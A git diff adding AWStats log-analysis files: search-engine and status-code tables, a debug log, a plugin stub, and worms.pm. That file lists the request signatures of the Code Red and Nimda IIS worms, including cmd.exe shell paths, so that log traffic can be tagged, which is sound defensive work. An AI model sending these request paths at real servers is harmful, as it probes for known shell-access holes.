+'searchch', 'search.ch', 'bluewin', 'search.bluewin.ch', +# Minor Croatian, Serbian, Macedonian, Bosnian and Herzegovinian search engines +'pogodak','<a href="http://www.pogodak.com" rel="nofollow" title="Pogodak search engine home page [new window]" target="_blank">Pogodak.com</a>', +# Generic search engines +'search','Unknown search engines' +); + + +# Sanity check. +# Enable this code and run perl search_engines.pm to check file entries are ok +#----------------------------------------------------------------------------- +#foreach my $key (@SearchEnginesSearchIDOrder_list1) { +# if (! $SearchEnginesHashID{$key}) { error("Entry '$key' has been found in SearchEnginesSearchIDOrder_list1 with no value in SearchEnginesHashID"); +# foreach my $key2 (@SearchEnginesSearchIDOrder_list2) { if ($key2 eq $key) { error("$key is in 1 and 2\n"); } } +# foreach my $key2 (@SearchEnginesSearchIDOrder_listgen) { if ($key2 eq $key) { error("$key is in 1 and gen\n"); } } +#} } +#foreach my $key (@SearchEnginesSearchIDOrder_list2) { +# if (! $SearchEnginesHashID{$key}) { error("Entry '$key' has been found in SearchEnginesSearchIDOrder_list1 with no value in SearchEnginesHashID"); +# foreach my $key2 (@SearchEnginesSearchIDOrder_list1) { if ($key2 eq $key) { error("$key is in 2 and 1\n"); } } +# foreach my $key2 (@SearchEnginesSearchIDOrder_listgen) { if ($key2 eq $key) { error("$key is in 2 and gen\n"); } } +#} } +#foreach my $key (@SearchEnginesSearchIDOrder_listgen) { if (! $SearchEnginesHashID{$key}) { error("Entry '$key' has been found in SearchEnginesSearchIDOrder_listgen with no value in SearchEnginesHashID"); } } +#foreach my $key (keys %NotSearchEnginesKeys) { if (! $SearchEnginesHashID{$key}) { error("Entry '$key' has been found in NotSearchEnginesKeys with no value in SearchEnginesHashID"); } } +#foreach my $key (keys %SearchEnginesKnownUrl) { +# my $found=0; +# foreach my $key2 (values %SearchEnginesHashID) { +# if ($key eq $key2) { $found=1; last; } +# } +# if (! $found) { die "Entry '$key' has been found in SearchEnginesKnownUrl with no value in SearchEnginesHashID"; } +#} +#foreach my $key (keys %SearchEnginesHashLib) { +# my $found=0; +# foreach my $key2 (values %SearchEnginesHashID) { +# if ($key eq $key2) { $found=1; last; } +# } +# if (! $found) { die "Entry '$key' has been found in SearchEnginesHashLib with no value in SearchEnginesHashID"; } +#} +#print @SearchEnginesSearchIDOrder_list1." ".@SearchEnginesSearchIDOrder_list2." ".@SearchEnginesSearchIDOrder_listgen; + +1; diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/status_http.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/status_http.pm new file mode 100644 index 0000000..031fa39 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/status_http.pm @@ -0,0 +1,69 @@ +# AWSTATS HTTP STATUS DATABASE +#------------------------------------------------------- +# If you want to add a HTTP status code, you must add +# an entry in httpcodelib. +#------------------------------------------------------- +# $Revision: 1.3 $ - $Author: eldy $ - $Date: 2009/06/03 19:05:31 $ + + +#package AWSHTTPCODES; + + +# httpcodelib +# This list is used to found description of a HTTP status code +#----------------------------------------------------------------- +%httpcodelib = ( +#[Miscellaneous successes] +'2xx'=>'[Miscellaneous successes]', +'200'=>'OK', # HTTP request OK +'201'=>'Created', +'202'=>'Request recorded, will be executed later', +'203'=>'Non-authoritative information', +'204'=>'Request executed', +'205'=>'Reset document', +'206'=>'Partial Content', +#[Miscellaneous redirections] +'3xx'=>'[Miscellaneous redirections]', +'300'=>'Multiple documents available', +'301'=>'Moved permanently (redirect)', +'302'=>'Moved temporarily (redirect)', +'303'=>'See other document', +'304'=>'Not Modified since last retrieval', # HTTP request OK +'305'=>'Use proxy', +'306'=>'Switch proxy', +'307'=>'Moved temporarily', +#[Miscellaneous client/user errors] +'4xx'=>'[Miscellaneous client/user errors]', +'400'=>'Bad Request', +'401'=>'Unauthorized', +'402'=>'Payment required', +'403'=>'Forbidden', +'404'=>'Document Not Found (hits on favicon excluded)', +'405'=>'Method not allowed', +'406'=>'Document not acceptable to client', +'407'=>'Proxy authentication required', +'408'=>'Request Timeout', +'409'=>'Request conflicts with state of resource', +'410'=>'Document gone permanently', +'411'=>'Length required', +'412'=>'Precondition failed', +'413'=>'Request too long', +'414'=>'Requested filename too long', +'415'=>'Unsupported media type', +'416'=>'Requested range not valid', +'417'=>'Failed', +#[Miscellaneous server errors] +'5xx'=>'[Miscellaneous server errors]', +'500'=>'Internal server Error', +'501'=>'Not implemented', +'502'=>'Received bad response from real server', +'503'=>'Server busy', +'504'=>'Gateway timeout', +'505'=>'HTTP version not supported', +'506'=>'Redirection failed', +#[Unknown] +'xxx'=>'[Unknown]' +); + + +1; diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/status_smtp.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/status_smtp.pm new file mode 100644 index 0000000..0b908bf --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/status_smtp.pm @@ -0,0 +1,74 @@ +# AWSTATS SMTP STATUS DATABASE +#------------------------------------------------------- +# If you want to add a SMTP status code, you must add +# an entry in smtpcodelib. +#------------------------------------------------------- +# $Revision: 1.3 $ - $Author: eldy $ - $Date: 2008/11/06 21:11:05 $ + + +#package AWSSMTPCODES; + + +# smtpcodelib +# This list is used to found description of a SMTP status code +#----------------------------------------------------------------- +%smtpcodelib = ( +#[Successfull code] +'200'=>'Nonstandard success response', +'211'=>'System status, or system help reply', +'214'=>'Help message', +'220'=>'<domain> Service ready', +'221'=>'<domain> Service closing transmission channel', +'250'=>'Requested mail action taken and completed', # Your ISP mail server have successfully executes a command and the DNS is reporting a positive delivery. +'251'=>'User not local: will forward to <forward-path>', # Your message to a specified email address is not local to the mail server, but it will accept and forward the message to a different recipient email address. +'252'=>'Recipient cannot be verified', # but mail server accepts the message and attempts delivery. +'354'=>'Start mail input and end with <CRLF>.<CRLF>', # Indicates mail server is ready to accept the message or instruct your mail client to send the message body after the mail server have received the message headers. +#[Temporary error code] Ask sender to try later to complete successfully +'421'=>'<domain> Service not available, closing transmission channel', # This may be a reply to any command if the service knows it must shut down. +'450'=>'Requested mail action not taken: mailbox busy, DNS check failed or access denied for other reason', # Your ISP mail server indicates that an email address does not exist or the mailbox is busy. It could be the network connection went down while sending, or it could also happen if the remote mail server does not want to accept mail from you for some reason i.e. (IP address, From address, Recipient, etc.) +'451'=>'Requested mail action aborted: error in processing', # Your ISP mail server indicates that the mailing has been interrupted, usually due to overloading from too many messages or transient failure is one in which the message sent is valid, but some temporary event prevents the successful sending of the message. Sending in the future may be successful. +'452'=>'Requested mail action not taken: insufficient system storage', # Your ISP mail server indicates, probable overloading from too many messages and sending in the future may be successful. +'453'=>'Too many messages', # Some mail servers have the option to reduce the number of concurrent connection and also the number of messages sent per connection. If you have a lot of messages queued up it could go over the max number of messages per connection. To see if this is the case you can try submitting only a few messages to that domain at a time and then keep increasing the number until you find the maximum number accepted by the server. + +# Postfix code for unknown_client_reject_code (postfix default=450) with reject_unknown_clients rule +'470'=>'Access denied: Unknown SMTP client hostname (without DNS A or MX record)', +# Postfix code for unknown_address_reject_code (postfix default=450) with reject_unknown_sender_domain rule +'471'=>'Access denied: Unknown domain for sender or recipient email address (without DNS A or MX record)', + +#[Permanent error code] +'500'=>'Syntax error, command unrecognized or command line too long', +'501'=>'Syntax error in parameters or arguments', +'502'=>'Command not implemented', +'503'=>'Server encountered bad sequence of commands', +'504'=>'Command parameter not implemented', +'521'=>'<domain> does not accept mail or closing transmission channel', # You must be pop-authenticated before you can use this SMTP server and you must use your mail address for the Sender/From field. +'530'=>'Access denied', # a Sendmailism ? +'550'=>'Requested mail action not taken: relaying not allowed, unknown recipient user, ...', # Sending an email to recipients outside of your domain are not allowed or your mail server does not know that you have access to use it for relaying messages and authentication is required. Or to prevent the sending of SPAM some mail servers will not allow (relay) send mail to any e-mail using another company�s network and computer resources. +'551'=>'User not local: please try <forward-path> or Invalid Address: Relay request denied', +'552'=>'Requested mail action aborted: exceeded storage allocation', # ISP mail server indicates, probable overloading from too many messages. +'553'=>'Requested mail action not taken: mailbox name not allowed', # Some mail servers have the option to reduce the number of concurrent connection and also the number of messages sent per connection. If you have a lot of messages queued up (being sent) for a domain, it could go over the maximum number of messages per connection and/or some change to the message and/or destination must be made for successful delivery. +'554'=>'Requested mail action rejected: access denied', +'557'=>'Too many duplicate messages', # Resource temporarily unavailable Indicates (probable) that there is some kind of anti-spam system on the mail server. + +# Postfix code for access_map_reject_code (postfix default=554) with access map rule +'570'=>'Access denied: access_map violation (on SMTP client or HELO hostname, sender or recipient email address)', +# Postfix code for maps_rbl_reject_code (postfix default=554) with maps_rbl_domains rule +'571'=>'Access denied: SMTP client listed in RBL', +# Postfix code for relay_domains_reject_code (postfix default=554) with relay_domains_reject rule +'572'=>'Access denied: Relay not authorized or not local host not a gateway', +# Postfix code for unknown_client_reject_code (postfix default=450) with reject_unknown_client rule +'573'=>'Access denied: Unknown SMTP client hostname (without DNS A or MX record)', +# Postfix code for invalid_hostname_reject_code (postfix default=501) with reject_invalid_hostname rule +'574'=>'Access denied: Bad syntax for client HELO hostname (Not RFC compliant)', +# Postfix code for reject_code (postfix default=554) with smtpd_client_restrictions +'575'=>'Access denied: SMTP client hostname rejected', +# Postfix code for unknown_address_reject_code (postfix default=450) with reject_unknown_sender_domain or reject_unknown_recipient_domain rule +'576'=>'Access denied: Unknown domain for sender or recipient email address (without DNS A or MX record)', +# Postfix code for unknown_hostname_reject_code (postfix default=501) with reject_unknown_hostname rule +'577'=>'Access denied: Unknown client HELO hostname (without DNS A or MX record)', +# Postfix code for non_fqdn_reject_code (Postfix default=504) with reject_non_fqdn_hostname, reject_non_fqdn_sender or reject_non_fqdn_recipient rule +'578'=>'Access denied: Invalid domain for client HELO hostname, sender or recipient email address (not FQDN)', +); + + +1; \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/worms.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/worms.pm new file mode 100644 index 0000000..0fb5c0b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/worms.pm @@ -0,0 +1,73 @@ +# AWSTATS WORMS ADATABASE +#----------------------------------------------------------------------------- +# If you want to add worms to extend AWStats database detection capabilities, +# you must add an entry in WormsSearchIDOrder, WormsHashID and WormsHashLib. +#----------------------------------------------------------------------------- +# $Revision: 1.9 $ - $Author: eldy $ - $Date: 2004/03/04 12:45:10 $ + + +#package AWSWORMS; + + + +# WormsSearchIDOrder +# This list is used to know in which order to search Worm IDs. +# This array is array of Worms matching criteria found in URL submitted +# to web server. This is a not case sensitive ID. +#----------------------------------------------------------------------------- +@WormsSearchIDOrder = ( +'\/default\.ida', +'\/null\.idq', +'exe\?\/c\+dir', +'root\.exe', +'admin\.dll', +'\/nsiislog\.dll', +'\/sumthin', +'\/winnt\/system32\/cmd\.exe', +'\/_vti_inf\.html', +'\/_vti_bin\/shtml\.exe\/_vti_rpc' +); + +# WormsHashID +# Each Worms search ID is associated to a string that is unique name of worm. +#----------------------------------------------------------------------------- +%WormsHashID = ( +'\/default\.ida','code_red', +'\/null\.idq','code_red', +'exe\?\/c\+dir','nimda', +'root\.exe','nimda', +'admin\.dll','nimda', +'\/nsiislog\.dll','mpex', +'\/sumthin','sumthin', +'\/winnt\/system32\/cmd\.exe','nimda', +'\/_vti_inf\.html','unknown', +'\/_vti_bin\/shtml\.exe\/_vti_rpc','unknown' +#'/MSOffice/cltreq.asp' # Not a worm, a check by IE to see if discussion bar is turned on +#'/_vti_bin/owssrv.dll' # Not a worm, a check by IE to see if discussion bar is turned on +); + +# WormsHashLib +# Worms name list ('worm unique id in lower case','worm clear text') +# Each unique ID string is associated to a label +#----------------------------------------------------------------------------- +%WormsHashLib = ( +'code_red','Code Red family worm', +'mpex','IIS Exploit worm', +'nimda','Nimda family worm', +'sumthin','Sumthin worm', +'unknown','Unknown worm' +); + +# WormsHashTarget +# Worms target list ('worm unique id in lower case','worm target clear text') +# Each unique ID string is associated to a target +#----------------------------------------------------------------------------- +%WormsHashTarget = ( +'code_red','IIS', +'mpex','IIS', +'nimda','IIS', +'sumthin','?', +'unknown','MS products', +); + +1; diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/observatorio.out b/src/main/webapp/monitoramento/wwwroot/cgi-bin/observatorio.out new file mode 100644 index 0000000..5a4b42b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/observatorio.out @@ -0,0 +1,153 @@ +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Awstats - 7.2 (build 1.992) - Perl /usr/bin/perl 5.014002 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DIR=/root/monitoramento-ej/wwwroot/cgi-bin PROG=awstats Extension=pl +Mon Jun 30 09:00:02 2014 - DEBUG 2 - QUERY_STRING=config=observatorio&update&debug=9&&&&& +Mon Jun 30 09:00:02 2014 - DEBUG 1 - HTMLOutput= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - YearRequired=2014, MonthRequired=06 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DayRequired=, HourRequired= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - UpdateFor=0 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - PluginMode= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirConfig= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Opened config: /root/monitoramento-ej/wwwroot/cgi-bin/awstats.observatorio.conf +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Config file read was "/root/monitoramento-ej/wwwroot/cgi-bin/awstats.observatorio.conf" (level 1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Check_Config +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogFile='/var/lib/tomcat7/logs/localhost_access_log.%YYYY-24-%MM-24-%DD-24.txt' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogType='W' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogFormat='1' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogSeparator=' ' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DNSLookup='2' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirData='/root/monitoramento-ej/wwwroot/cgi-bin/data' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirCgi='/cgi-bin' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirIcons='icon' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - NotPageList css,bmp,png,ico,swf,xml,js,jpg,jpeg,rss,class,gif +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ValidHTTPCodes 304,200 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ValidSMTPCodes 1,250 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - UseFramesWhenCGI=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - BuildReportFormat=html +Mon Jun 30 09:00:02 2014 - DEBUG 2 - BuildHistoryFormat=text +Mon Jun 30 09:00:02 2014 - DEBUG 2 - URLWithQueryWithOnlyFollowingParameters= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - URLWithQueryWithoutFollowingParameters= +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Substitute_Tags on /var/lib/tomcat7/logs/localhost_access_log.%YYYY-24-%MM-24-%DD-24.txt +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Found a time tag 'YYYY' with a phase of '24' hour in log file name +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Found a time tag 'MM' with a phase of '24' hour in log file name +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Found a time tag 'DD' with a phase of '24' hour in log file name +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogFile='/var/lib/tomcat7/logs/localhost_access_log.2014-06-29.txt' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogFormat='1' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogSeparator=' ' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DNSLookup='2' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirData='/root/monitoramento-ej/wwwroot/cgi-bin/data' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirCgi='/cgi-bin' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirIcons='icon' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - SiteDomain='observatorio.c3sl.ufpr.br' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MiscTrackerUrl='/js/awstats_misc_tracker.js' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{WormsShown}=5 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{ScreenSizesShown}=5 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{Domain}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{WindowSizesShown}=5 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{OsShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{PageShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{DownloadsShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{LoginShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{EMailsShown}=20 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{KeyphrasesShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{RefererShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{RobotShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{KeywordsShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{HostsShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{BrowsersShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Robot}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Worm}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{ScreenSize}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Browser}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Domain}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Os}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{EMail}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Login}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Refer}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Keyphrase}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{WindowSize}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{File}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Keyword}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Host}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Downloads}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - FrameName=main +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Language_Data [FileLang="/root/monitoramento-ej/wwwroot/cgi-bin/lang/awstats-br.txt"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data with files to load: search_engines.pm,operating_systems.pm,robots.pm,browsers.pm,mime.pm +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{search_engines.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/search_engines.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{operating_systems.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/operating_systems.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{robots.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/robots.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{browsers.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/browsers.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{mime.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/mime.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Plugins with list: +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Scan for last history files into DirData='/root/monitoramento-ej/wwwroot/cgi-bin/data' with mask='(\d\d)(\d\d\d\d)' +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_History_With_TmpUpdate [2014,06,,,withupdate=0,withpurge=0,part=general,lastlinenb=0,lastlineoffset=0,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - date=201406 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - List of sections marked for load : general +Mon Jun 30 09:00:02 2014 - DEBUG 2 - List of sections marked for save : +Mon Jun 30 09:00:02 2014 - DEBUG 2 - History file to read is '/root/monitoramento-ej/wwwroot/cgi-bin/data/awstats062014.observatorio.txt' +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Data file version is 7002 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of GENERAL section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of GENERAL section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Stop reading history file. Got all we need. +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Check and write all unwrote sections: +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Last year=2014 - Last month=06 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Last day= - Last hour= +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LastLine=20140627190530 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LastLineNumber=118 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LastLineOffset=32291 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LastLineChecksum=22468909691325 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Init_HashArray +Mon Jun 30 09:00:02 2014 - DEBUG 2 - UpdateStats is 1 +Create/Update database for config "/root/monitoramento-ej/wwwroot/cgi-bin/awstats.observatorio.conf" by AWStats version 7.2 (build 1.992) +From data in log file "/var/lib/tomcat7/logs/localhost_access_log.2014-06-29.txt"... +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 46 elements from RobotsSearchIDOrder_list1 into RobotsSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 691 elements from RobotsSearchIDOrder_list2 into RobotsSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 14 elements from RobotsSearchIDOrder_listgen into RobotsSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 1 - RobotsSearchIDOrder has now 751 elements +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 36 elements from SearchEnginesSearchIDOrder_list1 into SearchEnginesSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 224 elements from SearchEnginesSearchIDOrder_list2 into SearchEnginesSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 1 elements from SearchEnginesSearchIDOrder_listgen into SearchEnginesSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SearchEnginesSearchIDOrder has now 261 elements +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 0 (^observatorio\.c3sl\.ufpr\.br$) to 1 (^localhost$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 0 (^observatorio\.c3sl\.ufpr\.br$) to 2 (^127\.0\.0\.1$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 0 (^observatorio\.c3sl\.ufpr\.br$) to 3 (myserver\.com$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 1 (^localhost$) to 0 (^observatorio\.c3sl\.ufpr\.br$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 1 (^localhost$) to 2 (^127\.0\.0\.1$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 1 (^localhost$) to 3 (myserver\.com$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 2 (^127\.0\.0\.1$) to 0 (^observatorio\.c3sl\.ufpr\.br$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 2 (^127\.0\.0\.1$) to 1 (^localhost$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 2 (^127\.0\.0\.1$) to 3 (myserver\.com$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 3 (myserver\.com$) to 0 (^observatorio\.c3sl\.ufpr\.br$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 3 (myserver\.com$) to 1 (^localhost$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 3 (myserver\.com$) to 2 (^127\.0\.0\.1$) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - HostAliases precompiled regex list is now (?^i:^observatorio\.c3sl\.ufpr\.br$) (?^i:^localhost$) (?^i:^127\.0\.0\.1$) (?^i:myserver\.com$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipDNSLookupFor precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipHosts precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipReferrers precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipUserAgents precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipFiles precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - OnlyHosts precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - OnlyUsers precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - OnlyUserAgents precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - OnlyFiles precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - NotPageFiles precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call To DefinePerlParsingFormat (LogType='W', LogFormat='1') +Mon Jun 30 09:00:02 2014 - DEBUG 1 - PerlParsingFormat is (?^:^([^ ]+) [^ ]+ ([^\/\[]+) \[([^ ]+) [^ ]+\] \"([^ ]+) ([^ ]+)(?: [^\"]+|)\" ([\d|-]+) ([\d|-]+) \"(.*?)\" \"([^\"]*)\") +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_DNS_Cache [file="dnscache.txt"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - No DNS Cache file found +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Start Update process (lastprocesseddate=201406) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Open log file "/var/lib/tomcat7/logs/localhost_access_log.2014-06-29.txt" +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Couldn't open server log file "/var/lib/tomcat7/logs/localhost_access_log.2014-06-29.txt" : No such file or directory +Error: Couldn't open server log file "/var/lib/tomcat7/logs/localhost_access_log.2014-06-29.txt" : No such file or directory +Setup ('/root/monitoramento-ej/wwwroot/cgi-bin/awstats.observatorio.conf' file, web server or permissions) may be wrong. +Check config file, permissions and AWStats documentation (in 'docs' directory). diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/clusterinfo.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/clusterinfo.pm new file mode 100644 index 0000000..655b332 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/clusterinfo.pm @@ -0,0 +1,104 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# ClusterInfo AWStats plugin +# This plugin allow you to add information on cluster chart from +# a text file. Like full cluster hostname. +# You must create a file called clusterinfo.configvalue.txt wich contains 2 +# columns separated by a tab char, and store it in DirData directory. +# First column is cluster number and second column is text you want to add. +#----------------------------------------------------------------------------- +# Perl Required Modules: None +#----------------------------------------------------------------------------- +# $Revision: 1.2 $ - $Author: eldy $ - $Date: 2008/11/15 16:03:42 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +#if (!eval ('require "TheModule.pm";')) { return $@?"Error: $@":"Error: Need Perl module TheModule"; } +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION 